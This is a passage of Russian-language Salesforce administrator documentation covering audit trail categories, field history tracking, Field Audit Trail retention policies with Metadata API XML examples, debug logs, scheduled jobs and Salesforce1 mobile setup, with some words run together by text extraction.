• Изменения настроек шифрования платформы

Управление
данными

• Использование пакетного удаления, включая случаи пакетного удаления более 5 000 записей.
Излишние устаревшие записи безвозвратно удаляются из корзины в течение двух часов,
выделенных на транзакцию пакетного удаления.

• Запросы на экспорт данных

• Использование мастера импорта участников кампании

• Использование пакетного переноса

• Измененияотчетныхснимков, включаяопределение, удалениеилиизменениеисходногоотчета
или целевого объекта отчетного снимка

• Использование мастера импорта

Разработка • Изменения классов и триггеров Apex
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Отслеживаемые измененияНастройка

• Изменения страниц Visualforce, настраиваемых компонентов или статических ресурсов

• Изменения страниц Lightning

• Изменения шаблонов ссылок действий

• Изменения настраиваемых параметров

• Изменения типов пользовательских метаданных и записей

• Изменения определений удаленного доступа

• Изменения параметров Force.com Sites

Различные
настройки

• Создание уведомлений об интенсивности использования API

• Изменения территорий

• Изменения настроек автоматизации процессов

• Изменения процессов утверждения

• Создание и удаление действий бизнес-правил

• Изменения файлов Visual Workflow

• Установленные или удаленные пакеты Force.com AppExchange

Использование
приложения

• Изменения параметров сбыта для группы, работающей с организациями или возможностями

• Активация служб Google Apps

• Изменения параметров мобильной конфигурации, включая наборы данных, мобильные
представления и исключенные поля

• Вход пользователя с полномочием «Управление внешними пользователями» на партнерский
портал в качестве пользователя-партнера

• Входпользователясполномочием «Редактированиепользователейпорталасамообслуживания»
на клиентский портал Salesforce в качестве пользователя клиентского портала

• Включение или отключение организации партнерского портала

• Выключение организации клиентского портала Salesforce

• Включениеиливыключениеклиентскогопортала Salesforceисозданиенесколькихклиентских
порталов

• Создание и изменение процессов права и шаблонов права

• Включение или выключение функции самостоятельной регистрации на клиентском портале
Salesforce

• Включение или отключение пользователей клиентского или партнерского портала

СМ. ТАКЖЕ:

Проверка работоспособности средств безопасности
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Отслеживание журнала поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Стандартные объекты
недоступны в версии
Database.com Edition.

Некоторые поля могут быть выбраны для отслеживания и отображения журнала поля в
связанномспискеобъекта «Журнал». Данныежурналаполяхранятсянеболее 18 месяцев.
Ниже перечислены стандартные объекты, которые, подобно настраиваемым объектам,
поддерживают отслеживание журнала поля.

• Организации

• Активы

• Обращения

• Контакты

• Права

• Сервисные контракты

• Элементы строки контракта

• Контракты

• Интересы

• Возможности

• Статьи

• Решения

• Продукты

Изменение любого из этих полей добавляет новую запись в связанный список «Журнал». Все записи журнала содержат
информацию о дате, времени, характере и авторе изменений. Не все типы полей доступны для отчетов по архивным
трендам. Отслеживание некоторых изменений (например, расширение обращений) не может быть отключено.

Прим.: После выпуска Spring'15 дополнительное расширениежурнала поля, превышающее текущие ограничения,
потребует приобретения дополнительного компонента «Контрольный журнал поля». Активация подписки на
дополнительныйкомпонентинициируетизменениехранилищажурналаполявсоответствиисосвязаннойполитикой
хранения. Прииспользованииорганизации, созданнойдоиюня 2011 года, иналичиификсированныхограничений
срокхраненияжурналаполя Salesforceможетбытьбесконечным. Прииспользованииорганизации, созданнойпосле
июня 2011 года, иотказе отприобретениядополнительногокомпонентажурналполя хранитсянеболее 18 месяцев.

Рекомендации
• Изменения, внесенные в поля длиною более 255 символов, отслеживаются при редактировании; их предыдущие и

новые значения не регистрируются.

• Значения отслеживаемых полей не переводятся автоматически, а отображаются на языке их создания. Например,
новое значение «Зеленый», заменившее предыдущее значение «Green», отображается пользователюнезависимо от
его языка, кроме случаев перевода данного значения на другие языки с помощью средства перевода. Данное правило
также применяется к типам записей и значениям раскрывающихся списков.

• Изменения, внесенныевметкинастраиваемыхполей, которыепереведеныспомощьюсредстваперевода, отображаются
на языке пользователя, просматривающего связанный список «Журнал». Например, еслиметка настраиваемого поля
«Red» переведенанарусскийязык («Красный»), топереведеннаяметка «Красный» отображаетсяприиспользовании
региона «Русский (Россия)». В противном случае отображается исходная метка настраиваемого поля («Red»).

• Изменения, внесенные в поля дат, поля чисел и стандартные поля, отображаются на языке пользователя,
просматривающего связанный список «Журнал». Например, изменение, внесенное в поле даты «Август 5, 2012»,
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отображается как «08.05.12» для региона «Английский (СоединенныеШтаты)» или «05.08.12» для региона
«Английский (Соединенное Королевство)».

• Если триггер инициирует изменение объекта, который недоступен текущему пользователю для редактирования, то
данное изменение не отслеживается, так как журнал поля учитывает полномочия текущего пользователя.

СМ. ТАКЖЕ:

Отслеживание журнала поля для стандартных объектов

Отслеживание журнала поля для настраиваемых объектов

Контрольный журнал поля

Отключение отслеживание журнала поля

Отслеживание журнала поля для стандартных объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Стандартные объекты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
отслеживаемых полей:
• «Настройка

приложения»

Прежде чем включить функцию отслеживания журнала поля для организаций при
использованииорганизаций-компанийиорганизаций-лиц, просмотритерекомендации
ниже.

• Отслеживание журнала поля для организаций влияет на организации-компании и
организации-лица.

• Включение функции отслеживания журнала поля для организаций-лиц не
инициируетвключениефункцииотслеживанияжурналаполядляличныхконтактов.

Чтобы настроить функцию отслеживания журнала поля, выполните указанные ниже
действия.

1. В разделе настроек управления для объекта, журнал полей которого требуется
отследить, перейдите в раздел «Поля».

2. Нажмите кнопку «Настроить отслеживаниежурналов».

Совет: При включениифункции отслеживания для объекта убедитесь, что
макеты страниц содержат связанный список объекта «Журнал».

3. Установитефлажок «Включить журнал организации» дляорганизаций, «Включить
журнал контакта» для контактов, «Включить журнал интереса» дляинтересовили
«Включить журнал возможности» для возможностей.

4. Выберите нужные поля.

Разрешается выбирать не более 20 стандартныхинастраиваемыхполей для каждого
объекта. Данное ограничение распространяется на поля организаций-компаний и
организаций-лиц.

Отслеживаниенекоторыхизменений (например, расширениеобращений) неможет
быть отключено.

Ниже перечислены поля, недоступные для отслеживания.

• Поля формулы, сводного резюмирования и автонумерации

• Поля «Создал» и «Последнее изменение сделано»

• Поле возможностей «Ожидаемый доход»

• Полярешений «Заголовок основного решения» и «Сведения об основном решении»; данныеполяотображаются
только для переведенных решений, если организация поддерживает многоязычные решения.
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5. Нажмите кнопку «Сохранить».

Отслеживание журнала запускается системой Salesforce незамедлительно. Изменения, внесенные ранее, не
отслеживаются.

СМ. ТАКЖЕ:

Отслеживание журнала поля

Отслеживание журнала поля для настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Стандартные объекты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
отслеживаемых полей:
• «Настройка

приложения»

1. В параметрах управления настраиваемого объекта выберите пункт «Правка».

2. Установите флажок «Отслеживать журнал поля».

Совет: При включениифункции отслеживания для объекта убедитесь, что
макеты страниц содержат связанный список объекта «Журнал».

3. Сохраните внесенные изменения.

4. Щелкните «Настроить отслеживание журналов» в разделе «Настраиваемые поля и
взаимосвязи».

Данный раздел позволяет настраивать журнал настраиваемого объекта для
стандартных и настраиваемых полей.

5. Выберите нужные поля.

Разрешается выбирать не более 20 стандартныхинастраиваемыхполей для каждого
объекта. Ниже перечислены поля, недоступные для отслеживания.

• Поля формулы, сводного резюмирования и автонумерации

• Поля «Создал» и «Последнее изменение сделано»

6. Нажмите кнопку «Сохранить».

Отслеживаниежурнала запускается системойSalesforceнезамедлительно. Изменения,
внесенные ранее, не отслеживаются.

СМ. ТАКЖЕ:

Отслеживание журнала поля

Поиск по параметрам управления объектами

1116

Отслеживание журнала поляНастройка и обслуживание организации Salesforce



Отключение отслеживание журнала поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Стандартные объекты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
отслеживаемых полей:
• «Настройка

приложения»

Прим.: ЕсликодApexссылаетсянаполеобъекта, тофункцияотслеживанияжурнала
поля для этого объекта не может быть отключена.

1. В разделе настроек управления для объекта, для журнала полей которого требуется
прекратить отслеживание, перейдите в раздел «Поля».

2. Нажмите кнопку «Настроить отслеживание журналов».

3. Снимитефлажок «Включитьжурнал»для выбранногообъекта (например, флажок
«Включитьжурнал организации», «Включитьжурнал контакта», «Включить
журнал интереса» или «Включитьжурнал возможности»).

Связанный список «Журнал» будет автоматически удален из макетов страниц
связанного объекта.

Отключение функции отслеживания журнала поля для стандартного объекта не
влияетна возможность составленияотчетовпосохраненнымранееданнымжурнала.
Выключение функции отслеживания журнала поля для настраиваемого объекта
блокирует возможность составления отчетов по журналу поля.

4. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Отслеживание журнала поля

Поиск по параметрам управления объектами

Контрольный журнал поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки политики
сохранения журнала поля:
• «Сохранение журнала

поля»

Функция «Контрольный журнал поля» позволяет задавать политику для сохранения
архивных данных журнала поля не более 10 лет, независимо отфункции отслеживания
журналаполя. Даннаяфункциягарантируетсоответствиенормативнымправиламотрасли
в отношении возможности аудита и хранения данных.

Чтобыопределитьполитикусохранениядляжурналаполя, воспользуйтесьинтерфейсом
Metadata API от компании Salesforce. Чтобы получить доступ к архивным данным,
воспользуйтесь интерфейсами REST API, SOAP API и Tooling API. Дополнительную
информацию о включениифункции «Контрольный журнал поля» можно получить у
представителя Salesforce.

Журнал поля копируется из связанного списка «Журнал» в объект
FieldHistoryArchive, а затемудаляетсяизсвязанногосписка «Журнал». Определите
одинобъект HistoryRetentionPolicy длясвязанныхсписков «Журнал» (например,
«Журналорганизации»), чтобынастроитьполитикисохранения «Контрольныйжурнал
поля» для архивируемых объектов. Затем разверните объект посредством интерфейса
Metadata API. В производственных организациях, использующих контрольный журнал
поля, архивирование данных выполняется автоматически по истечении 18 месяцев. В
безопасных организациях архивирование выполняется автоматически по истечении
одного месяца. Политики сохранения могут обновляться по мере необходимости.

Нижеперечисленыобъекты, поддерживающиеполитики «Контрольныйжурналполя».
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• Организации

• Обращения

• Контакты

• Интересы

• Возможности

• Активы

• Права

• Сервисные контракты

• Элементы строки контракта

• Решения

• Продукты

• Прайс-листы

• Настраиваемые объекты, которые поддерживают отслеживание журнала поля

При необходимости добавьте политики сохранения журнала поля в управляемые и неуправляемые пакеты.

Ниже перечислены поля, недоступные для отслеживания.

• Поля формулы, сводного резюмирования и автонумерации

• Поля «Создано» и «Последнее изменение сделано»

• Поле возможностей «Ожидаемый доход»

• Поля решений «Заголовок основного решения» и «Сведения об основном решении»

• Поля подробного текста

• Поля со множественным выбором

После определения и развертывания политики «Контрольный журнал поля» данные производственной организации
переносятся из связанных списков «Журнал» (например, «Журнал организации») в объект FieldHistoryArchive.
Первая копия записывает журнал поля, заданный политикой, для архивирования хранилища, поэтому иногда занимает
слишком много времени. Последующие копии переносят только последние изменения, поэтому занимают меньше
времени. Запрос архивных данных может выполняться посредством ограниченного набора запросов SOQL.

Прим.: В течение некоторого времени после первоначального официального выпуска, автоматическое удаление
данных из связанного списка «Журнал» может не выполняться, поэтому данные могут сохраняться как в объекте
FieldHistoryArchive, так и в связанном списке «Журнал». Salesforce сохраняет за собой право на удаление
архивных данныхиз связанного списка «Журнал» согласно определяемой клиентомполитике в будущих выпусках.

Прим.: Если в вашей организации включен «Контрольный журнал поля», то архивированные ранее данные не
шифруются, если впоследствии будет включеношифрование платформы. Например, в вашей организации с
помощьюфункции «Контрольныйжурнал поля» определяют политику хранения данныхжурнала для такого поля
учетной записикакполеномера телефона. После включенияшифрованияплатформывывключаетешифрование
для этого поля и данные телефонных номеров в учетной записи будут шифроваться. Новые записи телефонных
номеровбудутшифроватьсяприсоздании. Крометого, будутшифроватьсяпрежниеобновлениявполетелефонного
номера, которые хранятся в связанном списке, соответствующемжурналу учетной записи. Однако данные журнала
телефонныхномеров, уже архивированныевобъекте FieldHistoryArchive, по-прежнемубудут хранитьсябез
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шифрования. Есливашейорганизациитребуется зашифроватьархивированныеранееданные, свяжитесьс Salesforce.
Мы зашифруем и переархивируем архивные данные сохраненных полей, затем удалим незашифрованный архив.

СМ. ТАКЖЕ:

Руководство разработчика SOAP API: FieldHistoryArchive

Руководство разработчика Metadata API: HistoryRetentionPolicy

Руководство ISVforce: общие сведения о пакетах

Справочное руководство по Force.com SOQL и SOSL: SOQL с архивными данными

Примеры

Настройка политики сохранения данных для журнала поля

Данный пример определяет порядок настройки политики сохранения данных журнала поля посредствомMetadata API.
Рекомендуем редактировать метаданные только при переопределении стандартных значений политики (18 месяцев для
хранилища производственных организаций и 0 лет для хранилища архивов). Настройка политики сохранения данных
инициирует создание и развертывание пакета метаданных. Пакет состоит из ZIP-файла, содержащего папку objects,
внутри которой находится XML-файл, определяющий политику сохранения каждого объекта, и описания проекта,
содержащего список объектов и используемую версию API.

Прим.: Первая копия записывает весь журнал поля, заданный политикой, для архивирования хранилища, поэтому
может занять слишком много времени. Последующие копии переносят только последние изменения, поэтому
занимают меньше времени.

1. Определите политику сохранения данных журнала поля для каждого объекта. Политика определяет количество
месяцев для хранения журнала поля в системе Salesforce, а также количество лет для хранения журнала поля в архиве.
Пример файла ниже определяет политику для архивирования объекта по истечениишести месяцев и хранения
архивов в течение пяти лет.

<?xml version="1.0" encoding="UTF-8"?>
<CustomObject xmlns="http://soap.sforce.com/2006/04/metadata">

<historyRetentionPolicy>
<archiveAfterMonths>6</archiveAfterMonths>
<archiveRetentionYears>5</archiveRetentionYears>
<description>My field history retention</description>

</historyRetentionPolicy>
<fields>

<fullName>AccountSource</fullName>
...
</CustomObject>

Имя файла определяет объект, к которому должна применяться политика. Например, чтобы применить указанную
вышеполитикукобъекту «Организация», сохранитефайлкак Account.object. Данныйалгоритмтакжедействителен
для текущих настраиваемых объектов, то есть имя файла содержит имя настраиваемого объекта. Например:
myObject__c.object.
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2. Создайте описание проекта, то есть XML-файл по имени package.xml. Пример файла ниже содержит список
объектов, к которым должна применяться политика сохранения данных. Согласно данному файлу описания, папка
objects должна содержать пять файлов: Account.object, Case.object и т. д.

<?xml version="1.0" encoding="UTF-8"?>
<Package xmlns="http://soap.sforce.com/2006/04/metadata">

<types>
<members>Account</members>
<members>Case</members>
<members>Contact</members>
<members>Lead</members>
<members>Opportunity</members>

</types>
<version>32.0</version>

</Package>

3. Создайте ZIP-файл и разверните изменения в производственной среде посредством функции deploy().
Дополнительную информацию см. в Руководстве Metadata API.

Прим.: Данная пробная версия не поддерживает развертывание из безопасной среды в производственную.

Готово! Политика сохранения журнала поля будет активирована согласно заданным временным промежуткам.

Одновременное создание настраиваемого объекта и настройка политики сохранения журнала поля

При необходимости воспользуйтесьMetadata API для одновременного создания настраиваемого объекта и настройки
политики сохранения. Укажите минимальное количество обязательных полей при создании настраиваемого объекта.
Пример XML-файла ниже позволяет создать объект и настроить политику сохранения журнала поля.

<?xml version="1.0" encoding="UTF-8"?>
<CustomObject xmlns="http://soap.sforce.com/2006/04/metadata">

<deploymentStatus>Deployed</deploymentStatus>
<enableHistory>true</enableHistory>
<description>just a test object with one field for eclipse ide testing</description>
<historyRetentionPolicy>

<archiveAfterMonths>3</archiveAfterMonths>
<archiveRetentionYears>10</archiveRetentionYears>
<gracePeriodDays>1</gracePeriodDays>
<description>Transaction Line History</description>

</historyRetentionPolicy>
<fields>

<fullName>Comments__c</fullName>
<description>add your comments about this object here</description>

<inlineHelpText>This field contains comments made about this object</inlineHelpText>

<label>Comments</label>
<length>32000</length>
<trackHistory>true</trackHistory>
<type>LongTextArea</type>
<visibleLines>30</visibleLines>

</fields>
<label>MyFirstObject</label>
<nameField>

<label>MyFirstObject Name</label>
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<type>Text</type>
</nameField>
<pluralLabel>MyFirstObjects</pluralLabel>
<sharingModel>ReadWrite</sharingModel>

</CustomObject>

Задайте параметру trackHistory значение true для полей, подлежащих отслеживанию, и значение false для
других полей.

Запрос архивных данных

Принеобходимостиизвлекитеархивныеданныепутемвыполнениязапросов SOQL дляобъекта FieldHistoryArchive.
При необходимости выполните фильтрацию по полям FieldHistoryType, ParentId и CreatedDate  (при
условии использования аналогичного порядка). Например:

SELECT ParentId, FieldHistoryType, Field, Id, NewValue, OldValue FROM FieldHistoryArchive
WHERE FieldHistoryType = ‘Account’ AND ParentId=’906F000000

СМ. ТАКЖЕ:

Руководство разработчика Metadata API: deploy()

Руководство разработчика Metadata API: CustomObject

Справочное руководство по Force.com SOQL и SOSL: SOQL с архивными данными

1121

Отслеживание журнала поляНастройка и обслуживание организации Salesforce

https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_deploy.htm
https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/customobject.htm
https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/field_history_soql.htm


Отслеживание журналов отладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Пользовательский
интерфейс Salesforce и
службы эл. почты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра, сохранения
и удаления журналов
отладки:
• «Управление

пользователями»

Когда вы установите нужные флажки трассировки, вы сможете отслеживать ведение
журналов для пользователей, классов Apex и триггеров Apex в Консоли разработчика
или в разделе «Настройка».

Выможете сохранятьжурналыотладкидляотдельныхпользователей (в томчисле свои),
классов и триггеров, а также управлять этими журналами.

Чтобыпросмотретьсохраненныежурналыотладки, введитестроку «Журналы отладки»
в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Журналыотладки».
Если вы включите сохранениежурналов отладки, то сможете просматривать, загружать
или удалять ваши журналы с этой страницы.

СМ. ТАКЖЕ:

Настройка функции ведения журналов отладки

Просмотр журналов отладки
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Настройка функции ведения журналов отладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра, сохранения
и удаления журналов
отладки:
• «Управление

пользователями»

Чтобыактивироватьжурналыотладкидляпользователей, классовApexитриггеровApex,
настройтефлаги трассировки и уровни отладки в Консоли разработчика или в разделе
«Настройка».

Выможете сохранятьжурналыотладкидляотдельныхпользователей (в томчисле свои),
классов и триггеров, а также управлять этими журналами.

Ниже перечислены ограничения, действующие для журналов отладки.

• Каждый журнал отладки должен составлять 2 МБ или меньше. Журналы отладки
размером более 2 Мб усекаются путем удаления первых строк журнала (например,
строки журнала для первых операторов System.debug). Строки журнала могут
быть удалены из любой области (не только из начала журнала отладки).

• Каждая организация может сохранять журналы отладки общим размером не более
50 Мб. При достижении данного ограничения первые журналы отладки
перезаписываются.

Настройка флагов трассировки с помощью Консоли разработчика
Чтобы настроить флаги трассировки и уровни отладки с помощьюКонсоли
разработчика, щелкните «Отладка» > «Изменитьуровнижурнала». Затем завершите
эти действия.

• Чтобы создать флаг трассировки, щелкните «Добавить».

• Чтобы отредактировать продолжительность существующего флага трассировки,
щелкните дважды его время начала и окончания.

• Чтобы изменить уровень отладкифлага трассировки, щелкните «Добавить/изменить» в столбце «Действие уровня
отладки». Затемможнобудетизменитьимеющиесяуровниотладки, создатьилиудалитьуровеньотладкииназначить
уровень отладки флагу трассировки. При удалении уровня отладки удаляются все флаги трассировки, которые его
используют.

Настройка флагов трассировки в разделе «Настройка»
Чтобы настроить флаги трассировки и уровни отладки, выполните в разделе «Настройка» следующие действия.

1. Откройте соответствующую страницу настройки.

• Дляфлагов трассировкинаосновепользователяи уровнейотладкивведите «Журналы отладки» вполе «Быстрый
поиск», затем щелкните «Журналы отладки».

• Дляфлагов трассировкинаосновеклассаиуровнейотладкивведите «Классы Apex» впоиске «Быстрый поиск»,
щелкните «Классы Apex», щелкните имя класса, затем щелкните «Флаги трассировки».

• Для флагов трассировки на основе триггеров и уровней отладки введите «Триггеры Apex» в поиске «Быстрый
поиск», щелкните «Триггеры Apex», щелкните имя класса, затем щелкните «Флаги трассировки».

2. На странице «Настройка» завершите следующие действия.

• Чтобы добавить флаг трассировки, нажмите кнопку «Создать».

• Чтобы изменить имеющийся флаг трассировки, щелкните параметр в столбце «Действия».

– Чтобы удалить флаг трассировки, щелкните «Удалить».

– Чтобы изменить флаг трассировки, щелкните «Изменить».
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– Чтобы изменить уровень отладки флага трассировки, щелкните «Фильтры».

– Чтобы создать уровень отладки, щелкните «Изменить», щелкните значок лупы рядом с полем «Уровень
отладки», затем выберите «Создать».

СМ. ТАКЖЕ:

Отслеживание журналов отладки

Просмотр журналов отладки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр всех данных»Для использования консоли разработчика:

«Автор Apex»Для выполнения анонимного Apex:

«API включен»Для использования функции поиска кода и
выполнения SOQL или SOSL на вкладке
запроса:

«Автор Apex»Для сохранения изменений в классах и
триггерах Apex:

«Настройка приложения»Для сохранения изменений на страницах и
в компонентах Visualforce:

«Настройка приложения»Для сохранения изменений в ресурсах
Lightning:

Чтобы просмотреть сведения журнала отладки, в меню «Настройка» введите «Журналы отладки» в поле «Быстрый
поиск», выберите «Журналы отладки», затем щелкните «Просмотр» рядом с журналом отладки, который вы хотите
исследовать. Чтобы загрузить журнал в виде XML-файла, щелкните «Загрузить».

Журнал отладки содержит сведения о транзакции (например, успешность ее выполнения, размер журнала (в байтах),
продолжительность транзакции вмиллисекундах и т. д.). В зависимости от заданныхфильтров, журналможет содержать
дополнительные сведения о транзакции.

СМ. ТАКЖЕ:

Отслеживание журналов отладки
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Отслеживание запланированных заданий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Отчетные снимки и панели
мониторинга недоступны в
версиях: Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отслеживания
запланированных заданий:
• «Просмотр настройки и

конфигурации»

Страница «Все запланированные задания» содержит все отчетные снимки,
запланированныезаданияApexипанелимониторинга, запланированныедляобновления.

Чтобыоткрыть эту страницу, введите строку «Запланированные задания» вполе «Быстрый
поиск» в меню «Настройка», затем выберите «Запланированные задания». Действия,
доступныепользователюдлявыполнения, определяютсяназначеннымиполномочиями.

• Чтобы удалить все экземпляры запланированного задания без возможности
восстановления, щелкните ссылку «Удал.».

• Просмотрите сведения о запланированном задании. Например:

– Имя запланированного задания

– Имя пользователя, отправившего запланированное задание

– Дата и время первоначальной отправки запланированного задания

– Дата и время начала запланированного задания

– Дата и время следующего выполнения запланированного задания

– Тип запланированного задания
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Отслеживание фоновых заданий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отслеживанияфоновых
заданий:
• «Просмотр настройки и

конфигурации»

Отслеживание фоновых заданий в организации доступно только при использовании
параллельного пересчета общего доступа.

Параллельный пересчет общего доступа позволяет более крупным организациям
ускорить пересчет общего доступа для каждого объекта. Если количество записей, на
которые оказывается влияние в результате вставки или обновления правила общего
доступа на основе ответственного, меньше 25 000, пересчет выполняется синхронно и
по его завершении не будет отправлено электронное уведомление. Операции вставки
и обновления правила общего доступа на основе ответственного, которые оказывают
влияние менее чем на 25 000 записей, не доступны на странице «Фоновые задания».

Чтобыпросмотретьфоновыезаданияорганизации, вразделенастройкивведите «Фоновые
задания» в поле «Быстрый поиск», затем выберите пункт «Фоновые задания».

Страница «Фоновые задания» содержит сведения о фоновых заданиях, включая
примерный процент выполнения пересчета. Столбец «Тип задания» отображает
выполняемое фоновое задание (например, «Обновление единого стандартного
параметра»). Столбец«Подтипзадания»отображаетзадействованныйобъект (например,
«Организация» или «Возможность»).

Прим.: Фоновые задания могут отслеживаться только на данной странице. Чтобы
отменить выполнение фонового задания, обратитесь в компанию Salesforce.

СМ. ТАКЖЕ:

Пересчет правил общего доступа

Асинхронный параллельный пересчет правил общего доступа
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Настройка мобильных приложений Salesforce

Salesforce1

Параметры настройки мобильного приложения Salesforce1

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

Мобильное приложение Salesforce1 может быть настроено разными способами для
повышения эффективности его использования.

ВсепараметрынастройкиSalesforce1доступныизменю «Настройка», котороеоткрывается
в верхнем правом углу любой страницы Salesforce. Для удобства пользователей многие
страницыпараметровSalesforce1быстрееоткрываютсясостраницынастройки «Быстрый
запуск Salesforce1». В Salesforce Classic в меню «Настройка» щелкните «Быстрый запуск
Salesforce1» (рядом с верхней частью меню «Настройка»). В Lightning Experience в
настройке введите строку «Быстрый запуск Salesforce1» в поле «Быстрый поиск»,
затем выберите «Быстрый запуск Salesforce1».

Прим.: Рекомендуем использовать обозреватель Google Chrome для страницы
настройки быстрого запуска Salesforce1. Также поддерживаются обозреватели
Microsoft Internet Explorer 9 или более поздней версии и Mozilla Firefox.

Ниже перечислены параметры настройки Salesforce1, доступные для организации.

• Выполнение основной настройки с помощью мастера Salesforce1. На странице
быстрого запуска Salesforce1щелкните «Открыть мастер быстрого запуска».

• Определение пользователей, которым должно быть доступно приложение Salesforce1.

– Если приложение можно загрузить, на странице быстрого запуска Salesforce1щелкните «Средства управления
безопасностью».

– Для мобильного веб-приложения на странице быстрого запуска Salesforce1щелкните «Параметр мобильного
обозревателя».

• Настройка способа отображения данных в приложении Salesforce1. Если не указано иное, доступ к этим настройкам
можно получить из настроек управления объектом, данные которого нужно настроить.

– Чтобы оптимизировать макеты страниц для отображения на мобильных устройствах, рекомендуем изменить
текущие макеты страниц или создать мобильные макеты страниц.Из настроек управления соответствующим
объектом перейдите на страницу «Макеты страниц».

– Добавьте развернутые поиски, компоненты (включая компонент Twitter) или страницы Visualforce в раздел
«Мобильные карты» макета страницы для их отображения в качестве мобильных карт в приложении Salesforce1.
Из настроек управления соответствующим объектом перейдите на страницу «Макеты страниц».

– Убедитесь, что страницы Visualforce доступны для использования в приложении Salesforce1. В настройке введите
строку «Страницы Visualforce» вполе «Быстрый поиск», затемвыберите«Страницы Visualforce». Щелкните
«Правка» у названия страницы, затем выберите Доступно для мобильного приложения Salesforce.

– Чтобыопределитьполя, отображаемыевразделе «Основное» записиобъектаикартахпредварительногопросмотра
связанного списка, рекомендуем создать настраиваемые компактные макеты.Из настроек управления
соответствующим объектом перейдите на страницу «Компактные макеты».

– Убедитесь, что текущие макеты поиска заполняют результаты поиска Salesforce1 нужными полями. Из настроек
управления соответствующим объектом перейдите на страницу «Макеты поиска».
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• Предоставление пользователям удобного и эффективного доступа путем создания действий, предназначенных для
выполнения конкретных бизнес-задач.

– Включите действия в публикаторе для организации. Введите строку «Параметры Chatter» в поле «Быстрый
поиск» в меню «Настройка» и выберите пункт «Параметры Chatter». Установите флажок «Включить действия
в публикаторе». (Данный параметр предполагает наличие Chatter в организации, а также необходимость
отображения созданных действий в публикаторе Chatter. Если организация не поддерживает Chatter, то действия
доступны для использования, но отображаются только в приложении Salesforce1).

Прим.: Если поддержка действий в публикаторе выключена, то публикатор Chatter полной версии системы
Salesforce отображает только стандартные действия Chatter («Сообщение», «Файл», «Ссылка», «Опрос» и
«Благодарность»). Если включена поддержка Chatter, но выключена поддержка действий в публикаторе, то
стандартныедействияChatterинестандартныедействия виднынанапанелидействийприложения Salesforce1
и в сторонних приложениях, использующих эти списки действий. К нестандартным действиям относятся
действиясоздания, действияобновления, действиярегистрациивызова, настраиваемыедействияимобильные
интеллектуальные действия.

– Создайте глобальныедействия, позволяющиепользователямдобавлятьновые записиобъектабез автоматического
связывания с другими записями. Введите строку «Глобальные действия» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Глобальные действия». Чтобы настроить поля, используемые глобальными
действиями, щелкните «Макет» на странице «Глобальные действия».

Затемдобавьтеновыедействиявраздел «Действия Salesforce1и Lightning Experience» глобальногомакетапубликатора,
чтобы они отображались в Salesforce1. Введите строку «Макеты публикатора» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Макеты публикатора».

– Создайте объектные действия, позволяющие пользователям добавлять новые записи или обновлять текущие
записи. Перейдите на страницу «Кнопки, ссылки и действия» посредством параметров управления для объекта,
для которого нужно добавить действие. Чтобы настроить поля, используемые объектным действием, щелкните
«Макет» на странице «Кнопки, ссылки и действия».

Затем добавьте новые действия в раздел «Действия Salesforce1 и Lightning Experience» макета страницы
соответствующего объекта.

• Настройка элементов, доступных в меню навигации приложения Salesforce1, а также порядка их отображения.На
